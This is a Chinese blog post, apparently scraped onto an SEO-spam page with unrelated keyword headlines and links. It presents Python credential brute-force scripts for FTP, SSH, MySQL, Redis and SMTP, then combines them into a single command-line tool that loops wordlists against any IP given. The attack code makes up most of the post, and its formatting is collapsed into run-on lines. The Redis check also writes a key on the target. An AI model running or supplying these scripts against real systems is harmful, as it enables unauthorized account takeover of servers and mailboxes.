当前位置: 首页 > wzjs >正文

电器工程东莞网站建设站长工具app下载

电器工程东莞网站建设,站长工具app下载,云南香格里拉疫情最新消息,外部网站 同意加载用途:个人学习笔记,有所借鉴,欢迎指正! 目录 前言: 一、Python-文件传输爆破-ftplib库操作ftp协议 1、关键代码解释: 2、完整代码: 二、Python-登录爆破-paramiko库操作ssh协议 1、关键…

用途:个人学习笔记,有所借鉴,欢迎指正!

目录

前言:

一、Python-文件传输爆破-ftplib库操作ftp协议 

1、关键代码解释:

2、完整代码: 

二、Python-登录爆破-paramiko库操作ssh协议

1、关键代码解释:

2、完整代码: 

三、Python-数据库爆破-pymysqlj库操作mysql协议

1、关键代码解释:

2、完整代码: 

四、Python-数据库爆破-redis库操作redist协议

1、关键代码解释:

2、完整代码:

五、Python-邮件爆破-smtplib库操作smtp协议

1、关键代码解释:

2、完整代码: 

六、整合五种协议爆破完整脚本


前言:

原理:python的一些库支持FTP、SSH、Redis、SMTP、Mysql等协议远程登录,只需要知道该服务器ip和端口,然后用本机准备好的用户名字典和密码字典进行循环组合尝试爆破登录,其中字典的好坏决定成功的几率,可以尝试弱口令集和社工方式获取,当然也不一定能成功,这只是锄头,挖不挖的进取决于是什么地。

一、Python-文件传输爆破-ftplib库操作ftp协议 

FTP服务默认端口:21

1、关键代码解释:

from ftplib import FTPftp = FTP()
ftp.connect(ip, 21)  #连接ftp服务器ip和端口
ftp.login(username,password) #尝试用户名和密码远程登录

2、完整代码: 

from ftplib import FTP
import osdef ftp_check(ip,username,password):ftp = FTP()print('check->'+ip+'|'+username+'|'+password)try:ftp.connect(ip, 21)ftp.login(username,password)print('success')exit()except Exception as e:print('failed')if __name__ == '__main__':pypath = os.getcwd()  #当前工作目录ip=input('please input ftp ip:')#注意修改自己字典的存放目录for username in open(pypath+'/dic/ftp_username.txt'):username=username.replace('\n','')for password in open(pypath+'/dic/ftp_password.txt'):password=password.replace('\n','')ftp_check(ip,username,password)

二、Python-登录爆破-paramiko库操作ssh协议

ssh服务默认端口:22

1、关键代码解释:

import paramiko#获取SSH客户端对象
ssh = paramiko.SSHClient()
# 允许连接不在know_hosts文件中的主机
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 
#使用用户名和密码远程连接
ssh.connect(ip,"22",username,password)

2、完整代码: 

import paramiko,osdef ssh_check(ip,username,password):print('check->' + ip + '|' + username + '|' + password)ssh = paramiko.SSHClient()ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())try:ssh.connect(ip,"22",username,password)print('success')exit()except Exception as e:print('failed')if __name__ == '__main__':pypath = os.getcwd() #当前工作目录ip = input('please input ssh ip:')#注意修改自己字典的存放目录for username in open(pypath + '/dic/ssh_username.txt'):username = username.replace('\n', '')for password in open(pypath + '/dic/ssh_password.txt'):password = password.replace('\n', '')ssh_check(ip,username,password)

三、Python-数据库爆破-pymysqlj库操作mysql协议

mysql服务默认端口:3306

1、关键代码解释:

import pymysql#远程连接Myql服务
conn_obj = pymysql.connect( host=ip,  # MySQL服务端的IP地址port=3306,  # MySQL默认PORT地址(端口号)user=username,  # 用户名password=password,  # 密码,也可以简写为passwddatabase='mysql',  # 库名称,也可以简写为dbcharset='utf8'  # 字符编码)

2、完整代码: 

import pymysql,osdef mysql_check(ip,username,password):print('check->' + ip + '|' + username + '|' + password)try:conn_obj = pymysql.connect(host=ip,  port=3306, user=username, password=password, database='mysql',charset='utf8')print('success')exit()except Exception as e:passif __name__ == '__main__':pypath = os.getcwd() #当前工作目录ip = input('please input ssh ip:')#注意修改自己字典的存放目录for username in open(pypath + '/dic/mysql_username.txt'):username = username.replace('\n', '')for password in open(pypath + '/dic/mysql_password.txt'):password = password.replace('\n', '')mysql_check(ip,username,password)

四、Python-数据库爆破-redis库操作redist协议

redis服务默认端口:6379,远程登录不需要账号,只要密码

1、关键代码解释:

import redis#远程连接redis服务
redis_conn = redis.Redis(host=ip, port=6379, password=password, db=0)
redis_conn.set('test', 'laowang') #存入键,测试密码是否正确,若错误则存入失败报错

2、完整代码:

import redis,osdef redis_check(ip,password):print('check->' + ip + '|' + password)try:redis_conn = redis.Redis(host=ip, port=6379, password=password, db=0)redis_conn.set('test', 'laowang')print('success')exit()except Exception as e:passif __name__ == '__main__':pypath = os.getcwd() #当前工作目录ip = input('please input ssh ip:')#注意修改字典所在目录for password in open(pypath + '/dic/redis_password.txt'):password = password.replace('\n', '')redis_check(ip, password)

五、Python-邮件爆破-smtplib库操作smtp协议

smtp服务默认端口:25

1、关键代码解释:

import smtplib
#获取smtp客户端对象
smtpObj = smtplib.SMTP()
#远程连接SMTP服务, 25 为 SMTP 端口号
smtpObj.connect('smtp.'+ip, 25)
#用户名和密码尝试登录
smtpObj.login(username, password)

2、完整代码: 

import smtplib,osdef email_check(ip,username,password):print('check->' + ip + '|' +username+'|'+ password)try:smtpObj = smtplib.SMTP()smtpObj.connect('smtp.'+ip, 25) smtpObj.login(username, password)print('ok')exit()except smtplib.SMTPException:print("Error")if __name__ == '__main__':pypath = os.getcwd() #当前工作目录#注意修改字典所在目录for username in open(pypath + '/dic/email_username.txt'):username = username.replace('\n', '')ip=username.split('@')[1]for password in open(pypath + '/dic/email_password.txt'):password = password.replace('\n', '')email_check(ip, username, password)

六、整合五种协议爆破完整脚本

from ftplib import FTP
import paramiko
import pymysql
import redis
import smtplib
import os,sysdef ftp_check(ip,username,password):ftp = FTP()print('check->'+ip+'|'+username+'|'+password)try:ftp.connect(ip, 21)ftp.login(username,password)print('success')exit()except Exception as e:print('failed')def ssh_check(ip,username,password):print('check->' + ip + '|' + username + '|' + password)ssh = paramiko.SSHClient()ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())try:ssh.connect(ip,"22",username,password)print('success')exit()except Exception as e:print('failed')def mysql_check(ip,username,password):print('check->' + ip + '|' + username + '|' + password)try:conn_obj = pymysql.connect(host=ip,  # MySQL服务端的IP地址port=3306,  # MySQL默认PORT地址(端口号)user=username,  # 用户名password=password,  # 密码,也可以简写为passwddatabase='mysql',  # 库名称,也可以简写为dbcharset='utf8'  # 字符编码)print('success')exit()except Exception as e:passdef redis_check(ip,password):print('check->' + ip + '|' + password)try:redis_conn = redis.Redis(host=ip, port=6379, password=password, db=0)redis_conn.set('test', 'xiaodi')print('success')exit()except Exception as e:passdef email_check(ip,username,password):print('check->' + ip + '|' +username+'|'+ password)try:smtpObj = smtplib.SMTP()smtpObj.connect('smtp.'+ip, 25)  # 25 为 SMTP 端口号smtpObj.login(username, password)print('ok')exit()except smtplib.SMTPException:print("Error")if __name__ == '__main__':pypath = os.getcwd()print('eg:固定字典使用说明:')print('python all.py ftp 127.0.0.1')print('python all.py ssh 127.0.0.1')print('python all.py redis 127.0.0.1')print('python all.py mysql 127.0.0.1')print('python all.py email')print('eg:自定义字典使用说明:')print('python all.py ftp 127.0.0.1 user.txt pass.txt')print('python all.py ssh 127.0.0.1 user.txt pass.txt')print('python all.py redis 127.0.0.1 user.txt pass.txt')print('python all.py mysql 127.0.0.1 user.txt pass.txt')print('python all.py email user.txt pass.txt')xy=sys.argv[1]ip=sys.argv[2]zidian = sys.argv[3]zidian2=sys.argv[4]#没有设置自定义字典,采用固定字典if len(zidian)==0:if xy=='ftp':for username in open(pypath + '/conf/dic_username_ftp.txt'):username = username.replace('\n', '')for password in open(pypath + '/conf/dic_password_ftp.txt'):password = password.replace('\n', '')ftp_check(ip, username, password)elif xy=='ssh':for username in open(pypath + '/conf/dic_username_ssh.txt'):username = username.replace('\n', '')for password in open(pypath + '/conf/dic_password_ssh.txt'):password = password.replace('\n', '')ssh_check(ip, username, password)elif xy=='mysql':for username in open(pypath + '/conf/dic_username_mysql.txt'):username = username.replace('\n', '')for password in open(pypath + '/conf/dic_password_mysql.txt'):password = password.replace('\n', '')mysql_check(ip, username, password)elif xy=='redis':for password in open(pypath + '/conf/dic_password_redis.txt'):password = password.replace('\n', '')redis_check(ip, password)elif xy=='email':for username in open(pypath + '/conf/dic_username_email.txt'):username = username.replace('\n', '')ip = username.split('@')[1]for password in open(pypath + '/conf/dic_password_email.txt'):password = password.replace('\n', '')email_check(ip, username, password)#设置了自定义字典,自定义字典爆破(代码只修改的ftp)else:if xy=='ftp':for username in open(pypath +'\\'+ zidian):username = username.replace('\n', '')for password in open(pypath +'\\'+ zidian2):password = password.replace('\n', '')ftp_check(ip, username, password)elif xy=='ssh':for username in open(pypath + '/conf/dic_username_ssh.txt'):username = username.replace('\n', '')for password in open(pypath + '/conf/dic_password_ssh.txt'):password = password.replace('\n', '')ssh_check(ip, username, password)elif xy=='mysql':for username in open(pypath + '/conf/dic_username_mysql.txt'):username = username.replace('\n', '')for password in open(pypath + '/conf/dic_password_mysql.txt'):password = password.replace('\n', '')mysql_check(ip, username, password)elif xy=='redis':for password in open(pypath + '/conf/dic_password_redis.txt'):password = password.replace('\n', '')redis_check(ip, password)elif xy=='email':for username in open(pypath + '/conf/dic_username_email.txt'):username = username.replace('\n', '')ip = username.split('@')[1]for password in open(pypath + '/conf/dic_password_email.txt'):password = password.replace('\n', '')email_check(ip, username, password)
http://www.dtcms.com/wzjs/287987.html

相关文章:

  • 酒店网站建设方案书宁波seo网站推广
  • 做电商设计有什么好的网站推荐网站优化推广怎么做
  • 武汉网站推广哪家好网游推广员
  • 四川煤矿基本建设工程公司网站高质量外链
  • 做哪种网站能赚到钱郑州seo网站关键词优化
  • 网站b2b建设北京知名seo公司精准互联
  • 做论坛网站看什么书如何让百度收录自己信息
  • 高端网站制作网站设计公司开发设计推荐
  • 大连网站代运营的公司有哪些seo课程培训课程
  • 怎么做付费网站百度热搜榜排名
  • 河北招投标网招标公告seo服务运用什么技术
  • 温州微信网站定制阿里巴巴官网首页
  • 懂做游戏钓鱼网站的百度竞价关键词价格查询工具
  • 深圳好点的网站建设公司免费网站在线客服软件
  • 网络公司名字大全简单好听文章优化软件
  • 建设手机网站谷歌排名推广
  • 沧州分销系统制作seo网站快排
  • 博彩游戏正规网站建设东莞网站营销策划
  • 福州鼓楼区网站建设什么公司适合做seo优化
  • wordpress回复下载插件海东地区谷歌seo网络优化
  • 响应式网页设计什么意思站优化
  • 网站构建深圳网站关键词优化推广
  • 智能网站推广优化企业查询官网入口
  • 百度蜘蛛网站排名营销案例分享
  • 音乐网站数据库怎么做网站开发框架
  • 菏泽住房和城乡建设部网站酒店网络营销方式有哪些
  • 什么网站做任务能挣营业推广怎么写
  • 如何做建材团购网站宁波百度快照优化排名
  • 网站怎么做反爬虫怎么找专业的营销团队
  • 深圳模板网站建设公搜索引擎优化的意思